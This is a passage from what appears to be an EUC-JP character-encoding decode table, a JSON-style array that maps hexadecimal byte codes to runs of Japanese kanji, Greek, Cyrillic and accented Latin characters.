"廖廣廝廚廛廢廡廨廩廬廱廳廰廴廸廾弃弉彝彜弋弑弖弩弭弸彁彈彌彎弯彑彖彗彙彡彭彳彷徃徂彿徊很徑徇從徙徘徠徨徭徼忖忻忤忸忱忝悳忿怡恠怙怐怩怎怱怛怕怫怦怏怺恚恁恪恷恟恊恆恍恣恃恤恂恬恫恙悁悍惧悃悚"], ["d8a1", "悄悛悖悗悒悧悋惡悸惠惓悴忰悽惆悵惘慍愕愆惶惷愀惴惺愃愡惻惱愍愎慇愾愨愧慊愿愼愬愴愽慂慄慳慷慘慙慚慫慴慯慥慱慟慝慓慵憙憖憇憬憔憚憊憑憫憮懌懊應懷懈懃懆憺懋罹懍懦懣懶懺懴懿懽懼懾戀戈戉戍戌戔戛"], ["d9a1", "戞戡截戮戰戲戳扁扎扞扣扛扠扨扼抂抉找抒抓抖拔抃抔拗拑抻拏拿拆擔拈拜拌拊拂拇抛拉挌拮拱挧挂挈拯拵捐挾捍搜捏掖掎掀掫捶掣掏掉掟掵捫捩掾揩揀揆揣揉插揶揄搖搴搆搓搦搶攝搗搨搏摧摯摶摎攪撕撓撥撩撈撼"], ["daa1", "據擒擅擇撻擘擂擱擧舉擠擡抬擣擯攬擶擴擲擺攀擽攘攜攅攤攣攫攴攵攷收攸畋效敖敕敍敘敞敝敲數斂斃變斛斟斫斷旃旆旁旄旌旒旛旙无旡旱杲昊昃旻杳昵昶昴昜晏晄晉晁晞晝晤晧晨晟晢晰暃暈暎暉暄暘暝曁暹曉暾暼"], ["dba1", "曄暸曖曚曠昿曦曩曰曵曷朏朖朞朦朧霸朮朿朶杁朸朷杆杞杠杙杣杤枉杰枩杼杪枌枋枦枡枅枷柯枴柬枳柩枸柤柞柝柢柮枹柎柆柧檜栞框栩桀桍栲桎梳栫桙档桷桿梟梏梭梔條梛梃檮梹桴梵梠梺椏梍桾椁棊椈棘椢椦棡椌棍"], ["dca1", "棔棧棕椶椒椄棗棣椥棹棠棯椨椪椚椣椡棆楹楷楜楸楫楔楾楮椹楴椽楙椰楡楞楝榁楪榲榮槐榿槁槓榾槎寨槊槝榻槃榧樮榑榠榜榕榴槞槨樂樛槿權槹槲槧樅榱樞槭樔槫樊樒櫁樣樓橄樌橲樶橸橇橢橙橦橈樸樢檐檍檠檄檢檣"], ["dda1", "檗蘗檻櫃櫂檸檳檬櫞櫑櫟檪櫚櫪櫻欅蘖櫺欒欖鬱欟欸欷盜欹飮歇歃歉歐歙歔歛歟歡歸歹歿殀殄殃殍殘殕殞殤殪殫殯殲殱殳殷殼毆毋毓毟毬毫毳毯麾氈氓气氛氤氣汞汕汢汪沂沍沚沁沛汾汨汳沒沐泄泱泓沽泗泅泝沮沱沾"], ["dea1", "沺泛泯泙泪洟衍洶洫洽洸洙洵洳洒洌浣涓浤浚浹浙涎涕濤涅淹渕渊涵淇淦涸淆淬淞淌淨淒淅淺淙淤淕淪淮渭湮渮渙湲湟渾渣湫渫湶湍渟湃渺湎渤滿渝游溂溪溘滉溷滓溽溯滄溲滔滕溏溥滂溟潁漑灌滬滸滾漿滲漱滯漲滌"], ["dfa1", "漾漓滷澆潺潸澁澀潯潛濳潭澂潼潘澎澑濂潦澳澣澡澤澹濆澪濟濕濬濔濘濱濮濛瀉瀋濺瀑瀁瀏濾瀛瀚潴瀝瀘瀟瀰瀾瀲灑灣炙炒炯烱炬炸炳炮烟烋烝烙焉烽焜焙煥煕熈煦煢煌煖煬熏燻熄熕熨熬燗熹熾燒燉燔燎燠燬燧燵燼"], ["e0a1", "燹燿爍爐爛爨爭爬爰爲爻爼爿牀牆牋牘牴牾犂犁犇犒犖犢犧犹犲狃狆狄狎狒狢狠狡狹狷倏猗猊猜猖猝猴猯猩猥猾獎獏默獗獪獨獰獸獵獻獺珈玳珎玻珀珥珮珞璢琅瑯琥珸琲琺瑕琿瑟瑙瑁瑜瑩瑰瑣瑪瑶瑾璋璞璧瓊瓏瓔珱"], ["e1a1", "瓠瓣瓧瓩瓮瓲瓰瓱瓸瓷甄甃甅甌甎甍甕甓甞甦甬甼畄畍畊畉畛畆畚畩畤畧畫畭畸當疆疇畴疊疉疂疔疚疝疥疣痂疳痃疵疽疸疼疱痍痊痒痙痣痞痾痿痼瘁痰痺痲痳瘋瘍瘉瘟瘧瘠瘡瘢瘤瘴瘰瘻癇癈癆癜癘癡癢癨癩癪癧癬癰"], ["e2a1", "癲癶癸發皀皃皈皋皎皖皓皙皚皰皴皸皹皺盂盍盖盒盞盡盥盧盪蘯盻眈眇眄眩眤眞眥眦眛眷眸睇睚睨睫睛睥睿睾睹瞎瞋瞑瞠瞞瞰瞶瞹瞿瞼瞽瞻矇矍矗矚矜矣矮矼砌砒礦砠礪硅碎硴碆硼碚碌碣碵碪碯磑磆磋磔碾碼磅磊磬"], ["e3a1", "磧磚磽磴礇礒礑礙礬礫祀祠祗祟祚祕祓祺祿禊禝禧齋禪禮禳禹禺秉秕秧秬秡秣稈稍稘稙稠稟禀稱稻稾稷穃穗穉穡穢穩龝穰穹穽窈窗窕窘窖窩竈窰窶竅竄窿邃竇竊竍竏竕竓站竚竝竡竢竦竭竰笂笏笊笆笳笘笙笞笵笨笶筐"], ["e4a1", "筺笄筍笋筌筅筵筥筴筧筰筱筬筮箝箘箟箍箜箚箋箒箏筝箙篋篁篌篏箴篆篝篩簑簔篦篥籠簀簇簓篳篷簗簍篶簣簧簪簟簷簫簽籌籃籔籏籀籐籘籟籤籖籥籬籵粃粐粤粭粢粫粡粨粳粲粱粮粹粽糀糅糂糘糒糜糢鬻糯糲糴糶糺紆"], ["e5a1", "紂紜紕紊絅絋紮紲紿紵絆絳絖絎絲絨絮絏絣經綉絛綏絽綛綺綮綣綵緇綽綫總綢綯緜綸綟綰緘緝緤緞緻緲緡縅縊縣縡縒縱縟縉縋縢繆繦縻縵縹繃縷縲縺繧繝繖繞繙繚繹繪繩繼繻纃緕繽辮繿纈纉續纒纐纓纔纖纎纛纜缸缺"], ["e6a1", "罅罌罍罎罐网罕罔罘罟罠罨罩罧罸羂羆羃羈羇羌羔羞羝羚羣羯羲羹羮羶羸譱翅翆翊翕翔翡翦翩翳翹飜耆耄耋耒耘耙耜耡耨耿耻聊聆聒聘聚聟聢聨聳聲聰聶聹聽聿肄肆肅肛肓肚肭冐肬胛胥胙胝胄胚胖脉胯胱脛脩脣脯腋"], ["e7a1", "隋腆脾腓腑胼腱腮腥腦腴膃膈膊膀膂膠膕膤膣腟膓膩膰膵膾膸膽臀臂膺臉臍臑臙臘臈臚臟臠臧臺臻臾舁舂舅與舊舍舐舖舩舫舸舳艀艙艘艝艚艟艤艢艨艪艫舮艱艷艸艾芍芒芫芟芻芬苡苣苟苒苴苳苺莓范苻苹苞茆苜茉苙"], ["e8a1", "茵茴茖茲茱荀茹荐荅茯茫茗茘莅莚莪莟莢莖茣莎莇莊荼莵荳荵莠莉莨菴萓菫菎菽萃菘萋菁菷萇菠菲萍萢萠莽萸蔆菻葭萪萼蕚蒄葷葫蒭葮蒂葩葆萬葯葹萵蓊葢蒹蒿蒟蓙蓍蒻蓚蓐蓁蓆蓖蒡蔡蓿蓴蔗蔘蔬蔟蔕蔔蓼蕀蕣蕘蕈"], ["e9a1", "蕁蘂蕋蕕薀薤薈薑薊薨蕭薔薛藪薇薜蕷蕾薐藉薺藏薹藐藕藝藥藜藹蘊蘓蘋藾藺蘆蘢蘚蘰蘿虍乕虔號虧虱蚓蚣蚩蚪蚋蚌蚶蚯蛄蛆蚰蛉蠣蚫蛔蛞蛩蛬蛟蛛蛯蜒蜆蜈蜀蜃蛻蜑蜉蜍蛹蜊蜴蜿蜷蜻蜥蜩蜚蝠蝟蝸蝌蝎蝴蝗蝨蝮蝙"], ["eaa1", "蝓蝣蝪蠅螢螟螂螯蟋螽蟀蟐雖螫蟄螳蟇蟆螻蟯蟲蟠蠏蠍蟾蟶蟷蠎蟒蠑蠖蠕蠢蠡蠱蠶蠹蠧蠻衄衂衒衙衞衢衫袁衾袞衵衽袵衲袂袗袒袮袙袢袍袤袰袿袱裃裄裔裘裙裝裹褂裼裴裨裲褄褌褊褓襃褞褥褪褫襁襄褻褶褸襌褝襠襞"], ["eba1", "襦襤襭襪襯襴襷襾覃覈覊覓覘覡覩覦覬覯覲覺覽覿觀觚觜觝觧觴觸訃訖訐訌訛訝訥訶詁詛詒詆詈詼詭詬詢誅誂誄誨誡誑誥誦誚誣諄諍諂諚諫諳諧諤諱謔諠諢諷諞諛謌謇謚諡謖謐謗謠謳鞫謦謫謾謨譁譌譏譎證譖譛譚譫"], ["eca1", "譟譬譯譴譽讀讌讎讒讓讖讙讚谺豁谿豈豌豎豐豕豢豬豸豺貂貉貅貊貍貎貔豼貘戝貭貪貽貲貳貮貶賈賁賤賣賚賽賺賻贄贅贊贇贏贍贐齎贓賍贔贖赧赭赱赳趁趙跂趾趺跏跚跖跌跛跋跪跫跟跣跼踈踉跿踝踞踐踟蹂踵踰踴蹊"], ["eda1", "蹇蹉蹌蹐蹈蹙蹤蹠踪蹣蹕蹶蹲蹼躁躇躅躄躋躊躓躑躔躙躪躡躬躰軆躱躾軅軈軋軛軣軼軻軫軾輊輅輕輒輙輓輜輟輛輌輦輳輻輹轅轂輾轌轉轆轎轗轜轢轣轤辜辟辣辭辯辷迚迥迢迪迯邇迴逅迹迺逑逕逡逍逞逖逋逧逶逵逹迸"], ["eea1", "遏遐遑遒逎遉逾遖遘遞遨遯遶隨遲邂遽邁邀邊邉邏邨邯邱邵郢郤扈郛鄂鄒鄙鄲鄰酊酖酘酣酥酩酳酲醋醉醂醢醫醯醪醵醴醺釀釁釉釋釐釖釟釡釛釼釵釶鈞釿鈔鈬鈕鈑鉞鉗鉅鉉鉤鉈銕鈿鉋鉐銜銖銓銛鉚鋏銹銷鋩錏鋺鍄錮"], ["efa1", "錙錢錚錣錺錵錻鍜鍠鍼鍮鍖鎰鎬鎭鎔鎹鏖鏗鏨鏥鏘鏃鏝鏐鏈鏤鐚鐔鐓鐃鐇鐐鐶鐫鐵鐡鐺鑁鑒鑄鑛鑠鑢鑞鑪鈩鑰鑵鑷鑽鑚鑼鑾钁鑿閂閇閊閔閖閘閙閠閨閧閭閼閻閹閾闊濶闃闍闌闕闔闖關闡闥闢阡阨阮阯陂陌陏陋陷陜陞"], ["f0a1", "陝陟陦陲陬隍隘隕隗險隧隱隲隰隴隶隸隹雎雋雉雍襍雜霍雕雹霄霆霈霓霎霑霏霖霙霤霪霰霹霽霾靄靆靈靂靉靜靠靤靦靨勒靫靱靹鞅靼鞁靺鞆鞋鞏鞐鞜鞨鞦鞣鞳鞴韃韆韈韋韜韭齏韲竟韶韵頏頌頸頤頡頷頽顆顏顋顫顯顰"], ["f1a1", "顱顴顳颪颯颱颶飄飃飆飩飫餃餉餒餔餘餡餝餞餤餠餬餮餽餾饂饉饅饐饋饑饒饌饕馗馘馥馭馮馼駟駛駝駘駑駭駮駱駲駻駸騁騏騅駢騙騫騷驅驂驀驃騾驕驍驛驗驟驢驥驤驩驫驪骭骰骼髀髏髑髓體髞髟髢髣髦髯髫髮髴髱髷"], ["f2a1", "髻鬆鬘鬚鬟鬢鬣鬥鬧鬨鬩鬪鬮鬯鬲魄魃魏魍魎魑魘魴鮓鮃鮑鮖鮗鮟鮠鮨鮴鯀鯊鮹鯆鯏鯑鯒鯣鯢鯤鯔鯡鰺鯲鯱鯰鰕鰔鰉鰓鰌鰆鰈鰒鰊鰄鰮鰛鰥鰤鰡鰰鱇鰲鱆鰾鱚鱠鱧鱶鱸鳧鳬鳰鴉鴈鳫鴃鴆鴪鴦鶯鴣鴟鵄鴕鴒鵁鴿鴾鵆鵈"], ["f3a1", "鵝鵞鵤鵑鵐鵙鵲鶉鶇鶫鵯鵺鶚鶤鶩鶲鷄鷁鶻鶸鶺鷆鷏鷂鷙鷓鷸鷦鷭鷯鷽鸚鸛鸞鹵鹹鹽麁麈麋麌麒麕麑麝麥麩麸麪麭靡黌黎黏黐黔黜點黝黠黥黨黯黴黶黷黹黻黼黽鼇鼈皷鼕鼡鼬鼾齊齒齔齣齟齠齡齦齧齬齪齷齲齶龕龜龠"], ["f4a1", "堯槇遙瑤凜熙"], ["f9a1", "纊褜鍈銈蓜俉炻昱棈鋹曻彅丨仡仼伀伃伹佖侒侊侚侔俍偀倢俿倞偆偰偂傔僴僘兊兤冝冾凬刕劜劦勀勛匀匇匤卲厓厲叝﨎咜咊咩哿喆坙坥垬埈埇﨏塚增墲夋奓奛奝奣妤妺孖寀甯寘寬尞岦岺峵崧嵓﨑嵂嵭嶸嶹巐弡弴彧德"], ["faa1", "忞恝悅悊惞惕愠惲愑愷愰憘戓抦揵摠撝擎敎昀昕昻昉昮昞昤晥晗晙晴晳暙暠暲暿曺朎朗杦枻桒柀栁桄棏﨓楨﨔榘槢樰橫橆橳橾櫢櫤毖氿汜沆汯泚洄涇浯涖涬淏淸淲淼渹湜渧渼溿澈澵濵瀅瀇瀨炅炫焏焄煜煆煇凞燁燾犱"], ["fba1", "犾猤猪獷玽珉珖珣珒琇珵琦琪琩琮瑢璉璟甁畯皂皜皞皛皦益睆劯砡硎硤硺礰礼神祥禔福禛竑竧靖竫箞精絈絜綷綠緖繒罇羡羽茁荢荿菇菶葈蒴蕓蕙蕫﨟薰蘒﨡蠇裵訒訷詹誧誾諟諸諶譓譿賰賴贒赶﨣軏﨤逸遧郞都鄕鄧釚"], ["fca1", "釗釞釭釮釤釥鈆鈐鈊鈺鉀鈼鉎鉙鉑鈹鉧銧鉷鉸鋧鋗鋙鋐﨧鋕鋠鋓錥錡鋻﨨錞鋿錝錂鍰鍗鎤鏆鏞鏸鐱鑅鑈閒隆﨩隝隯霳霻靃靍靏靑靕顗顥飯飼餧館馞驎髙髜魵魲鮏鮱鮻鰀鵰鵫鶴鸙黑"], ["fcf1", "ⅰ", 9, "¬¦'""], ["8fa2af", "˘ˇ¸˙˝¯˛˚~΄΅"], ["8fa2c2", "¡¦¿"], ["8fa2eb", "ºª©®™¤№"], ["8fa6e1", "ΆΈΉΊΪ"], ["8fa6e7", "Ό"], ["8fa6e9", "ΎΫ"], ["8fa6ec", "Ώ"], ["8fa6f1", "άέήίϊΐόςύϋΰώ"], ["8fa7c2", "Ђ", 10, "ЎЏ"], ["8fa7f2", "ђ", 10, "ўџ"], ["8fa9a1", "ÆĐ"], ["8fa9a4", "Ħ"], ["8fa9a6", "IJ"], ["8fa9a8", "ŁĿ"], ["8fa9ab", "ŊØŒ"], ["8fa9af", "ŦÞ"], ["8fa9c1", "æđðħıijĸłŀʼnŋøœßŧþ"], ["8faaa1", "ÁÀÄÂĂǍĀĄÅÃĆĈČÇĊĎÉÈËÊĚĖĒĘ"], ["8faaba", "ĜĞĢĠĤÍÌÏÎǏİĪĮĨĴĶĹĽĻŃŇŅÑÓÒÖÔǑŐŌÕŔŘŖŚŜŠŞŤŢÚÙÜÛŬǓŰŪŲŮŨǗǛǙǕŴÝŸŶŹŽŻ"], ["8faba1", "áàäâăǎāąåãćĉčçċďéèëêěėēęǵĝğ"], ["8fabbd", "ġĥíìïîǐ"], ["8fabc5", "īįĩĵķĺľļńňņñóòöôǒőōõŕřŗśŝšşťţúùüûŭǔűūųůũǘǜǚǖŵýÿŷźžż"], ["8fb0a1", "丂丄丅丌丒丟丣两丨丫丮丯丰丵乀乁乄乇乑乚乜乣乨乩乴乵乹乿亍亖亗亝亯亹仃仐仚仛仠仡仢仨仯仱仳仵份仾仿伀伂伃伈伋伌伒伕伖众伙伮伱你伳伵伷伹伻伾佀佂佈佉佋佌佒佔佖佘佟佣佪佬佮佱佷佸佹佺佽佾侁侂侄"], ["8fb1a1", "侅侉侊侌侎侐侒侓侔侗侙侚侞侟侲侷侹侻侼侽侾俀俁俅俆俈俉俋俌俍俏俒俜俠俢俰俲俼俽俿倀倁倄倇倊倌倎倐倓倗倘倛倜倝倞倢倧倮倰倲倳倵偀偁偂偅偆偊偌偎偑偒偓偗偙偟偠偢偣偦偧偪偭偰偱倻傁傃傄傆傊傎傏傐"], ["8fb2a1", "傒傓傔傖傛傜傞", 4, "傪傯傰傹傺傽僀僃僄僇僌僎僐僓僔僘僜僝僟僢僤僦僨僩僯僱僶僺僾儃儆儇儈儋儌儍儎僲儐儗儙儛儜儝儞儣儧儨儬儭儯儱儳儴儵儸儹兂兊兏兓兕兗兘兟兤兦兾冃冄冋冎冘冝冡冣冭冸冺冼冾冿凂"], ["8fb3a1", "凈减凑凒凓凕凘凞凢凥凮凲凳凴凷刁刂刅划刓刕刖刘刢刨刱刲刵刼剅剉剕剗剘剚剜剟剠剡剦剮剷剸剹劀劂劅劊劌劓劕劖劗劘劚劜劤劥劦劧劯劰劶劷劸劺劻劽勀勄勆勈勌勏勑勔勖勛勜勡勥勨勩勪勬勰勱勴勶勷匀匃匊匋"], ["8fb4a1", "匌匑匓匘匛匜匞匟匥匧匨匩匫匬匭匰匲匵匼匽匾卂卌卋卙卛卡卣卥卬卭卲卹卾厃厇厈厎厓厔厙厝厡厤厪厫厯厲厴厵厷厸厺厽叀叅叏叒叓叕叚叝叞叠另叧叵吂吓吚吡吧吨吪启吱吴吵呃呄呇呍呏呞呢呤呦呧呩呫呭呮呴呿"], ["8fb5a1", "咁咃咅咈咉咍咑咕咖咜咟咡咦咧咩咪咭咮咱咷咹咺咻咿哆哊响哎哠哪哬哯哶哼哾哿唀唁唅唈唉唌唍唎唕唪唫唲唵唶唻唼唽啁啇啉啊啍啐啑啘啚啛啞啠啡啤啦啿喁喂喆喈喎喏喑喒喓喔喗喣喤喭喲喿嗁嗃嗆嗉嗋嗌嗎嗑嗒"], ["8fb6a1", "嗓嗗嗘嗛嗞嗢嗩嗶嗿嘅嘈嘊嘍", 5, "嘙嘬嘰嘳嘵嘷嘹嘻嘼嘽嘿噀噁噃噄噆噉噋噍噏噔噞噠噡噢噣噦噩噭噯噱噲噵嚄嚅嚈嚋嚌嚕嚙嚚嚝嚞嚟嚦嚧嚨嚩嚫嚬嚭嚱嚳嚷嚾囅囉囊囋囏囐囌囍囙囜囝囟囡囤", 4, "囱囫园"], ["8fb7a1", "囶囷圁圂圇圊圌圑圕圚圛圝圠圢圣圤圥圩圪圬圮圯圳圴圽圾圿坅坆坌坍坒坢坥坧坨坫坭", 4, "坳坴坵坷坹坺坻坼坾垁垃垌垔垗垙垚垜垝垞垟垡垕垧垨垩垬垸垽埇埈埌埏埕埝埞埤埦埧埩埭埰埵埶埸埽埾埿堃堄堈堉埡"], ["8fb8a1", "堌堍堛堞堟堠堦堧堭堲堹堿塉塌塍塏塐塕塟塡塤塧塨塸塼塿墀墁墇墈墉墊墌墍墏墐墔墖墝墠墡墢墦墩墱墲壄墼壂壈壍壎壐壒壔壖壚壝壡壢壩壳夅夆夋夌夒夓夔虁夝夡夣夤夨夯夰夳夵夶夿奃奆奒奓奙奛奝奞奟奡奣奫奭"], ["8fb9a1", "奯奲奵奶她奻奼妋妌妎妒妕妗妟妤妧妭妮妯妰妳妷妺妼姁姃姄姈姊姍姒姝姞姟姣姤姧姮姯姱姲姴姷娀娄娌娍娎娒娓娞娣娤娧娨娪娭娰婄婅婇婈婌婐婕婞婣婥婧婭婷婺婻婾媋媐媓媖媙媜媞媟媠媢媧媬媱媲媳媵媸媺媻媿"], ["8fbaa1", "嫄嫆嫈嫏嫚嫜嫠嫥嫪嫮嫵嫶嫽嬀嬁嬈嬗嬴嬙嬛嬝嬡嬥嬭嬸孁孋孌孒孖孞孨孮孯孼孽孾孿宁宄宆宊宎宐宑宓宔宖宨宩宬宭宯宱宲宷宺宼寀寁寍寏寖", 4, "寠寯寱寴寽尌尗尞尟尣尦尩尫尬尮尰尲尵尶屙屚屜屢屣屧屨屩"], ["8fbba1", "屭屰屴屵屺屻屼屽岇岈岊岏岒岝岟岠岢岣岦岪岲岴岵岺峉峋峒峝峗峮峱峲峴崁崆崍崒崫崣崤崦崧崱崴崹崽崿嵂嵃嵆嵈嵕嵑嵙嵊嵟嵠嵡嵢嵤嵪嵭嵰嵹嵺嵾嵿嶁嶃嶈嶊嶒嶓嶔嶕嶙嶛嶟嶠嶧嶫嶰嶴嶸嶹巃巇巋巐巎巘巙巠巤"], ["8fbca1", "巩巸巹帀帇帍帒帔帕帘帟帠帮帨帲帵帾幋幐幉幑幖幘幛幜幞幨幪", 4, "幰庀庋庎庢庤庥庨庪庬庱庳庽庾庿廆廌廋廎廑廒廔廕廜廞廥廫异弆弇弈弎弙弜弝弡弢弣弤弨弫弬弮弰弴弶弻弽弿彀彄彅彇彍彐彔彘彛彠彣彤彧"], ["8fbda1", "彯彲彴彵彸彺彽彾徉徍徏徖徜徝徢徧徫徤徬徯徰徱徸忄忇忈忉忋忐", 4, "忞忡忢忨忩忪忬忭忮忯忲忳忶忺忼怇怊怍怓怔怗怘怚怟怤怭怳怵恀恇恈恉恌恑恔恖恗恝恡恧恱恾恿悂悆悈悊悎悑悓悕悘悝悞悢悤悥您悰悱悷"], ["8fbea1", "悻悾惂惄惈惉惊惋惎惏惔惕惙惛惝惞惢惥惲惵惸惼惽愂愇愊愌愐", 4, "愖愗愙愜愞愢愪愫愰愱愵愶愷愹慁慅慆慉慞慠慬慲慸慻慼慿憀憁憃憄憋憍憒憓憗憘憜憝憟憠憥憨憪憭憸憹憼懀懁懂懎懏懕懜懝懞懟懡懢懧懩懥"], ["8fbfa1", "懬懭懯戁戃戄戇戓戕戜戠戢戣戧戩戫戹戽扂扃扄扆扌扐扑扒扔扖扚扜扤扭扯扳扺扽抍抎抏抐抦抨抳抶抷抺抾抿拄拎拕拖拚拪拲拴拼拽挃挄挊挋挍挐挓挖挘挩挪挭挵挶挹挼捁捂捃捄捆捊捋捎捒捓捔捘捛捥捦捬捭捱捴捵"], ["8fc0a1", "捸捼捽捿掂掄掇掊掐掔掕掙掚掞掤掦掭掮掯掽揁揅揈揎揑揓揔揕揜揠揥揪揬揲揳揵揸揹搉搊搐搒搔搘搞搠搢搤搥搩搪搯搰搵搽搿摋摏摑摒摓摔摚摛摜摝摟摠摡摣摭摳摴摻摽撅撇撏撐撑撘撙撛撝撟撡撣撦撨撬撳撽撾撿"], ["8fc1a1", "擄擉擊擋擌擎擐擑擕擗擤擥擩擪擭擰擵擷擻擿攁攄攈攉攊攏攓攔攖攙攛攞攟攢攦攩攮攱攺攼攽敃敇敉敐敒敔敟敠敧敫敺敽斁斅斊斒斕斘斝斠斣斦斮斲斳斴斿旂旈旉旎旐旔旖旘旟旰旲旴旵旹旾旿昀昄昈昉昍昑昒昕昖昝"], ["8fc2a1", "昞昡昢昣昤昦昩昪昫昬昮昰昱昳昹昷晀晅晆晊晌晑晎晗晘晙晛晜晠晡曻晪晫晬晾晳晵晿晷晸晹晻暀晼暋暌暍暐暒暙暚暛暜暟暠暤暭暱暲暵暻暿曀曂曃曈曌曎曏曔曛曟曨曫曬曮曺朅朇朎朓朙朜朠朢朳朾杅杇杈杌杔杕杝"], ["8fc3a1", "杦杬杮杴杶杻极构枎枏枑枓枖枘枙枛枰枱枲枵枻枼枽柹柀柂柃柅柈柉柒柗柙柜柡柦柰柲柶柷桒栔栙栝栟栨栧栬栭栯栰栱栳栻栿桄桅桊桌桕桗桘桛桫桮", 4, "桵桹桺桻桼梂梄梆梈梖梘梚梜梡梣梥梩梪梮梲梻棅棈棌棏"], ["8fc4a1", "棐棑棓棖棙棜棝棥棨棪棫棬棭棰棱棵棶棻棼棽椆椉椊椐椑椓椖椗椱椳椵椸椻楂楅楉楎楗楛楣楤楥楦楨楩楬楰楱楲楺楻楿榀榍榒榖榘榡榥榦榨榫榭榯榷榸榺榼槅槈槑槖槗槢槥槮槯槱槳槵槾樀樁樃樏樑樕樚樝樠樤樨樰樲"], ["8fc5a1", "樴樷樻樾樿橅橆橉橊橎橐橑橒橕橖橛橤橧橪橱橳橾檁檃檆檇檉檋檑檛檝檞檟檥檫檯檰檱檴檽檾檿櫆櫉櫈櫌櫐櫔櫕櫖櫜櫝櫤櫧櫬櫰櫱櫲櫼櫽欂欃欆欇欉欏欐欑欗欛欞欤欨欫欬欯欵欶欻欿歆歊歍歒歖歘歝歠歧歫歮歰歵歽"], ["8fc6a1", "歾殂殅殗殛殟殠殢殣殨殩殬殭殮殰殸殹殽殾毃毄毉毌毖毚毡毣毦毧毮毱毷毹毿氂氄氅氉氍氎氐氒氙氟氦氧氨氬氮氳氵氶氺氻氿汊汋汍汏汒汔汙汛汜汫汭汯汴汶汸汹汻沅沆沇沉沔沕沗沘沜沟沰沲沴泂泆泍泏泐泑泒泔泖"], ["8fc7a1", "泚泜泠泧泩泫泬泮泲泴洄洇洊洎洏洑洓洚洦洧洨汧洮洯洱洹洼洿浗浞浟浡浥浧浯浰浼涂涇涑涒涔涖涗涘涪涬涴涷涹涽涿淄淈淊淎淏淖淛淝淟淠淢淥淩淯淰淴淶淼渀渄渞渢渧渲渶渹渻渼湄湅湈湉湋湏湑湒湓湔湗湜湝湞"], ["8fc8a1", "湢湣湨湳湻湽溍溓溙溠溧溭溮溱溳溻溿滀滁滃滇滈滊滍滎滏滫滭滮滹滻滽漄漈漊漌漍漖漘漚漛漦漩漪漯漰漳漶漻漼漭潏潑潒潓潗潙潚潝潞潡潢潨潬潽潾澃澇澈澋澌澍澐澒澓澔澖澚澟澠澥澦澧澨澮澯澰澵澶澼濅濇濈濊"], ["8fc9a1", "濚濞濨濩濰濵濹濼濽瀀瀅瀆瀇瀍瀗瀠瀣瀯瀴瀷瀹瀼灃灄灈灉灊灋灔灕灝灞灎灤灥灬灮灵灶灾炁炅炆炔", 4, "炛炤炫炰炱炴炷烊烑烓烔烕烖烘烜烤烺焃", 4, "焋焌焏焞焠焫焭焯焰焱焸煁煅煆煇煊煋煐煒煗煚煜煞煠"], ["8fcaa1", "煨煹熀熅熇熌熒熚熛熠熢熯熰熲熳熺熿燀燁燄燋燌燓燖燙燚燜燸燾爀爇爈爉爓爗爚爝爟爤爫爯爴爸爹牁牂牃牅牎牏牐牓牕牖牚牜牞牠牣牨牫牮牯牱牷牸牻牼牿犄犉犍犎犓犛犨犭犮犱犴犾狁狇狉狌狕狖狘狟狥狳狴狺狻"], ["8fcba1", "狾猂猄猅猇猋猍猒猓猘猙猞猢猤猧猨猬猱猲猵猺猻猽獃獍獐獒獖獘獝獞獟獠獦獧獩獫獬獮獯獱獷獹獼玀玁玃玅玆玎玐玓玕玗玘玜玞玟玠玢玥玦玪玫玭玵玷玹玼玽玿珅珆珉珋珌珏珒珓珖珙珝珡珣珦珧珩珴珵珷珹珺珻珽"], ["8fcca1", "珿琀琁琄琇琊琑琚琛琤琦琨", 9, "琹瑀瑃瑄瑆瑇瑋瑍瑑瑒瑗瑝瑢瑦瑧瑨瑫瑭瑮瑱瑲璀璁璅璆璇璉璏璐璑璒璘璙璚璜璟璠璡璣璦璨璩璪璫璮璯璱璲璵璹璻璿瓈瓉瓌瓐瓓瓘瓚瓛瓞瓟瓤瓨瓪瓫瓯瓴瓺瓻瓼瓿甆"], ["8fcda1", "甒甖甗甠甡甤甧甩甪甯甶甹甽甾甿畀畃畇畈畎畐畒畗畞畟畡畯畱畹", 5, "疁疅疐疒疓疕疙疜疢疤疴疺疿痀痁痄痆痌痎痏痗痜痟痠痡痤痧痬痮痯痱痹瘀瘂瘃瘄瘇瘈瘊瘌瘏瘒瘓瘕瘖瘙瘛瘜瘝瘞瘣瘥瘦瘩瘭瘲瘳瘵瘸瘹"], ["8fcea1", "瘺瘼癊癀癁癃癄癅癉癋癕癙癟癤癥癭癮癯癱癴皁皅皌皍皕皛皜皝皟皠皢", 6, "皪皭皽盁盅盉盋盌盎盔盙盠盦盨盬盰盱盶盹盼眀眆眊眎眒眔眕眗眙眚眜眢眨眭眮眯眴眵眶眹眽眾睂睅睆睊睍睎睏睒睖睗睜睞睟睠睢"], ["8fcfa1", "睤睧睪睬睰睲睳睴睺睽瞀瞄瞌瞍瞔瞕瞖瞚瞟瞢瞧瞪瞮瞯瞱瞵瞾矃矉矑矒矕矙矞矟矠矤矦矪矬矰矱矴矸矻砅砆砉砍砎砑砝砡砢砣砭砮砰砵砷硃硄硇硈硌硎硒硜硞硠硡硣硤硨硪确硺硾碊碏碔碘碡碝碞碟碤碨碬碭碰碱碲碳"], ["8fd0a1", "碻碽碿磇磈磉磌磎磒磓磕磖磤磛磟磠磡磦磪磲磳礀磶磷磺磻磿礆礌礐礚礜礞礟礠礥礧礩礭礱礴礵礻礽礿祄祅祆祊祋祏祑祔祘祛祜祧祩祫祲祹祻祼祾禋禌禑禓禔禕禖禘禛禜禡禨禩禫禯禱禴禸离秂秄秇秈秊秏秔秖秚秝秞"], ["8fd1a1", "秠秢秥秪秫秭秱秸秼稂稃稇稉稊稌稑稕稛稞稡稧稫稭稯稰稴稵稸稹稺穄穅穇穈穌穕穖穙穜穝穟穠穥穧穪穭穵穸穾窀窂窅窆窊窋窐窑窔窞窠窣窬窳窵窹窻窼竆竉竌竎竑竛竨竩竫竬竱竴竻竽竾笇笔笟笣笧笩笪笫笭笮笯笰"], ["8fd2a1", "笱笴笽笿筀筁筇筎筕筠筤筦筩筪筭筯筲筳筷箄箉箎箐箑箖箛箞箠箥箬箯箰箲箵箶箺箻箼箽篂篅篈篊篔篖篗篙篚篛篨篪篲篴篵篸篹篺篼篾簁簂簃簄簆簉簋簌簎簏簙簛簠簥簦簨簬簱簳簴簶簹簺籆籊籕籑籒籓籙", 5], ["8fd3a1", 